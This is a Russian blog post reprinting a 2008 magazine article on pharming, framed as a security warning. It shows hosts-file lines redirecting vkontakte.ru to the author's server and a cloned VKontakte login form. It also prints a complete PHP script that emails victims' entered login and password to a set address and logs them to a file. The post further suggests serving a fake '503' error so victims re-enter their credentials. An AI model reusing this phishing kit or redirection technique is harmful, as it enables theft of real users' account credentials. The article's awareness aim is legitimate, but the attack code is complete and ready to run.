Сайт-ловушка. Зайди на него и оставь свой пароль…
Известно, что новое – это часто забытое старое. Достаточно давно (март 2008) в Магии ПК была опубликована моя статья “Сайт-ловушка” (http://magicpc.spb.ru/journal/200803/19/01.php), в которой рассказывалось о том, для чего существует файл hosts и как его можно использовать для того, чтобы закрывать доступ к некоторым “нехорошим” сайтам типа vkontakte.ru. Вчера сделал обновление упомянутого в статье бонусного файла в связи с тем, что снова ко мне стали обращаться с вопросами по теме. Ниже статья полностью.
Сайт-ловушка
Зайди на него и оставь свой пароль…
Игорь Ананченко (С.-Петербург)
Интернет не только необходимая для работы информация и интересное общение с друзьями на разных социальных сайтах, но достаточно опасная для пользователей среда, работа в которой может привести к утечке конфиденциальной информации и прочим неприятностям от хакеров и иных сетевых недоброжелателей. Есть много способов перехвата конфиденциальной информации, но расскажу только об одном, реализуемом с помощью подставного сайта. Успешность перехвата зависит от ряда условий, но даже их отсутствие не остановит опытного хакера, который хорошо знает, что данный способ получения паролей далеко не единственный, а раз так, то можно попробовать не только этот способ, а еще один, второй, третий, сотый… В общем, если вы много работаете в Интернет и на вашем сайте есть ценная для хакеров информация, то рано или поздно, но вы ее потеряете. Возможно, что кто-то со мной не согласится — не буду спорить, лучше посмотрим, как можно получить пароль пользователя сайта сети Интернет, и пусть это будет, например, сайт vkontakte.ru.
Для начала цитата и небольшая техническая справка. «Использование порчи DNS для переадресации пользователей на сайты, которые выглядят натурально, но на самом деле крадут ценную информацию, — относительно новый тип угрозы. Некоторые секьюрити-фирмы называют этот метод фармингом (pharming)» http://soft.mail.ru/pressrl_page.php?id=7888.
Итак, для чего нужен DNS сервис и что это такая за служба? Когда вы набираете в строке браузера адрес http://vkontakte.ru/, то обращаетесь к одному из компьютеров Сети, но этот адрес, записанный в строке браузера, удобен для человека, но не для компьютера. У каждого компьютера подключенного к Интернет есть свой уникальный сетевой IP адрес, состоящий из четырех групп цифр. Хотите посмотреть какой IP у сайта http://vkontakte.ru/ — нет ничего проще. В командной строке набираем ping vkontakte.ru и получаем ответ: Обмен пакетами с vkontakte.ru [195.190.105.238] по 32 байт: Ответ от 195.190.105.238: число байт=32 время=75мс TTL=56. Видно, что IP-адрес 195.190.105.238. А что произойдет, если вы наберете http://195.190.105.238? Как и можно было предположить, вы увидите главную страницу сайта ВКонтакте.ру. Согласитесь, что запомнить адрес vkontakte.ru проще, чем номер 195.190.105.238. Замечу, что на компьютере с одним IP-адресом можно разместить несколько сайтов (пинганите, например, два моих сайта ananchenko.spb.ru и infbez.spb.ru и увидите, что живут они на одном компьютере 89.163.94.95), но может быть и так, что один сайт размещается (дублируется) на нескольких компьютерах (с разными IP адресами). За сопоставление имени сайта и адреса компьютера отвечает специальная служба-сервис. Подключаясь к Интернет через провайдера, в инструкции на подключение можете прочитать нечто типа: «Указать основной и дополнительный DNS сервера 194.8.160.90 и 195.131.52.130». Введение этих данных будет означать, что когда вашему компьютеру понадобится обратится, например, к http://vkontakte.ru/, то он пошлет запрос на DNS сервер 194.8.160.90, который вернет адрес сайта 195.190.105.238, на который и пойдут пакеты вашего запроса. Естественно, что адрес 195.190.105.238 в строке браузера вы не увидите, так как нет необходимости перегружать пользователя лишней служебной информацией. Для надежности обычно указывается несколько DNS серверов, так как если один не работает, то другой сможет обработать запрос. А можно ли вместо этого DNS сервера указать другой? Да, можно. Например, DNS сервер 89.163.94.95. Указать то вы можете, но захочет ли сервер обслуживать запрос с вашего IP адреса и куда он отправит ваш запрос — все это зависит от настроек сервера, а настроен DNS сервер 89.163.94.95т ак, как захотел автор этой статьи — сервер работает на моем домашнем компьютере. Не каждый пользователь компьютера помнит, знает и проверяет, какой у него прописан dns. Конечно, вполне разумное замечание, что компьютер обычно защищен и не каждый посторонний может влезть и исправить настройки, но не все так плохо для господ хакеров. Пользователи выходят в Интернет не только со своего компьютера, но и часто с других, особенно предпочитая те, которые можно использовать даром, т.е. халявно. Например, компьютеры учебных студенческих лабраторий, беспроводные WiFi соединения и т.д.
Поддельный DNS-сервис — это «круто», но, как говориться в избитом рекламном слогане, «и это еще не все!». Для ленивцев, не желающих себя утруждать созданием поддельного сервиса? прилагается бесплатная кисточка, а вернее файл hosts. Этот файл можно найти по адресу \WINDOWS\system32\drivers\etc, а примечателен он тем, что сначала обрабатывается именно его содержимое, а затем, если адрес не найден, запрос идет на DNS-сервер. Содержимое файла:
# (C) Корпорация Майкрософт (Microsoft Corp.), 1993-1999
#
# Это образец файла HOSTS, используемый Microsoft TCP/IP для Windows.
#
# Этот файл содержит сопоставления IP-адресов именам узлов.
# Каждый элемент должен располагаться в отдельной строке. IP-адрес должен
# находиться в первом столбце, за ним должно следовать соответствующее имя.
# IP-адрес и имя узла должны разделяться хотя бы одним пробелом.
#
# Кроме того, в некоторых строках могут быть вставлены комментарии
# (такие, как эта строка), они должны следовать за именем узла и отделяться
# от него символом '#'.
#
# Например:
#
# 102.54.94.97 rhino.acme.com # исходный сервер
# 38.25.63.10 x.acme.com # узел клиента x
127.0.0.1 localhost
Учитывая, что приоритет обработки этого файла выше, чем обращение к DNS серверу, добавляем в файл строки
87.250.251.11 www.vkontakte.ru
87.250.251.11 vkontakte.ru
Сохраняем изменения и, для того, чтобы они вступили в силу, перезагружаем компьютер. Теперь любой пользователь вашего компьютера, указавший в строке браузера http://vkontakte.ru отправляется на www.yandex.ru (87.250.251.11), который, если верить известной рекламе, знает все. Замечу, что в этом и рассмотренном ниже примере не всегда происходит замена истинного Контакта на какой-то другой сайт. В интернет браузере может стоять настройка доступа или «прямой доступ в Интернет» или «использовать прокси-сервер». В случае использования прокси-сервера (например, в настройках полученных от провайдера стоит — прокси: proxy.wplus.net порт: 3128) адреса вебстраниц пользователь получает через прокси-сервер, который может быть настроен так, что ваши записи в файле hosts будут просто проигнорированы! Это примечание я просто обязан был сделать, так как среди желающих проверить рассказанное мной всегда найдется несколько человек, которые обязательно споткнутся о названные грабли и будут утверждать, что все описываемое в статье полный обман. Кроме того, данное примечание позволяет указать еще на один потенциальный метод реализации кражи паролей и прочей конфиденциальной информации. Создается новый прокси-сервер и рекламируется как быстрый, современный и многофункциональный сервис — пользуйтесь бесплатно и с удобством (Реклама! Реклама!! Реклама!!!). И пользователи идут косяками тестировать новинку, а среди множества функций может быть та, что позволяет записывать весь (или выборочно) трафик, проходящий через прокси-сервер. Впрочем, в рекламе об этой фиче ничего сказано не будет, ведь это такая мелочь, о которой широкой общественности знать совсем не обязательно. Но, вернемся к нашим баранам, вернее к контактам.
Изменим условия игры и добавим в файл hosts две строки:
89.163.94.95 vkontakte.ru
89.163.94.95 www.vkontakte.ru
Опять сохраняем изменения и, для того чтобы они вступили в силу, перезагрузим компьютер. Введем в строке браузера www.vkontakte.ru и видим, на первый взгляд, страницу Контакта, а на второй…. Интерфейс вроде тот же, но текст странный, так же как и копирайт. Впрочем, на такие мелочи пользователь обычно внимания не обращает, вводит свой логин и пароль, а затем получает вместо входа совсем другую страницу, что и не удивительно ведь работает пользователь с совсем другим сайтом. Если в первом примере запрос уходил на совершенно непохожий по внешнему виду сайт (www.yandex.ru), то в этом случае на компьютере 89.163.94.95 размещен сайт, маскирующийся под Контакт. Для хакера не составляет труда сделать точную копию входной странички сайта, но я специально внес некоторые изменения в текст надписей, после чтения которых даже самый недалекий пользователь должен был понять, что имеет дело с подделкой и вводить логин и пароль более чем неразумно. Но мало кто читает надписи, видя знакомый стиль (в коде входной странички оставил <link rel=»stylesheet» href=»http://195.190.105.240/css/rustyle.css?3″ /> <link rel=’stylesheet’ href=’http://195.190.105.240/css/help.css?2′ type=’text/css’ />)! Были оставлены и окошки формы для ввода логина и пароля.
<form method="post" action="login.php">
<label for="email">Email:</label>
<input size="20" />
<label for="pass">Пароль:</label>
<input size="20" />
<ul>
<li style="width:3.6em"><a style="width:2.5em" href="javascript:document.login.submit()">
Вход</a></li>
<li style="width:7.2em;"><a style="width:6.1em;" href="javascript:document.location='reg0'">
Регистрация</a></li>
</ul>
<div style="display:none"><input style="margin-top:1px; vertical-align: middle;"
type="checkbox" value="1" /> <small>Чужой компьютер</small></div>
<input value='.' style="color:#fff;border:0;padding:0;margin:0;background:#fff;height:
6px;width:6px"/>
</form>
Минут пять ушло на ваяние файла login.php, текст которого привожу полностью:
<?php
$to = 'aiv@aiv.spb.ru';$subject ='Email: '. $_POST["email"].' Password: '.$_POST["pass"];$message =
'Email: '. $_POST["email"].' Password: '.$_POST["pass"];$headers = 'From:aiv@aiv.spb.ru' . "\r\n" .
'Reply-To: aiv@aiv.spb.ru' . "\r\n" . 'X-Mailer: PHP/' . phpversion();mail($to, $subject, $message,
$headers);$br="\r\n";
$file_open=fopen("passwordusers.txt","a+");
fputs($file_open,$br);
fputs($file_open,"-----------------------------------------------------");
fputs($file_open,$br);
fputs($file_open,$_POST["email"]);
fputs($file_open,$br);
fputs($file_open,$_POST["pass"]);
fclose($file_open);
readfile("bonus.htm");
?>
Далее — краткое пояснение о том, что делает скрипт.
Во-первых, отсылает мне на электронный адрес введенный логин и пароль, во-вторых пишет эту информацию в файл, а в третьих предъявляет пользователю содержимое файла bonus.htm. В моем варианте пользователь получает наставление на тему информационной безопасности, а вот хакер скорее всего сделал бы страничку с информацией типа — «Ошибка 503! Извините, сервер перегружен, подождите немного и попробуйте загрузить страницу снова.» (а чем плохо, пусть пользователь зайдет еще раз — вдруг в наборе пароля ошибся, а так дополнительная гарантия того, что секретная информация уплывет к хакеру без искажений!). Замечу, что при тщательном копировании в подделке интерфейса исходного сайта, сообщение о невозможности зайти на сайт воспринимается пользователем спокойно, так как популярные сайты часто бывают перегружены, тем более, что при коррекции всего одной записи (в файле hosts или на dns сервере) пользователь может работать с другими сайтами без каких либо проблем и связанных с этим подозрений.
Подведем итоги
Исходный код страниц сайта-ловушки вы можете загрузить по адресу http://www.vkontakte.ru/obmanka.zip (естественно, что речь идет не об истинном Контакте, там этого архива вы не найдете). Естественно, на действующем примере имя файла passworduser.txt совсем другое. Возможно, кто-то скажет, что использовать код слишком сложно, так как необходимо установить вебсервер и исполнитель скрипта. Так вот, вебсервер входит в состав дистрибутива очень распространенной Windows XP и других ОС этого семейства, а php можно бесплатно скачать с сайта http://www.php.net/, а самые ленивые могут использовать Денвер (http://www.denwer.ru) — довольно удобный комплект вебразработчика. По этой ссылке http://www.intuit.ru/courses.html вы найдете несколько вполне приличных бесплатных курсов по информационной безопасности, установке и использованию вебсерверов, а также пару курсов по php. Ссылка http://aiv.sp.ru отредиректит вас на форму заказа бесплатного (для жителей из России) пробного урока от ЕШКО. Рекомендую обратить внимание на курсы «WEB-дизайн» и «Введение в программирование» или может вам еще что-то понравится (печатные типографским способом цветные методички с материалами пробных уроков бесплатны, так же как и бесплатна их доставка вам заказной бандеролью, которую оплачивает сама фирма, в общем, так любимая народом халява в наличии). Подведение итогов будет не полным без нравоучительной нотации на тему того, что не стоит доверять сети Интернет сколь либо серьезную информацию, так как все тайное рано или поздно станет явным. Вместо Контакта для примера можно было взять какой либо другой сайт, что совершенно не изменило бы сути дела…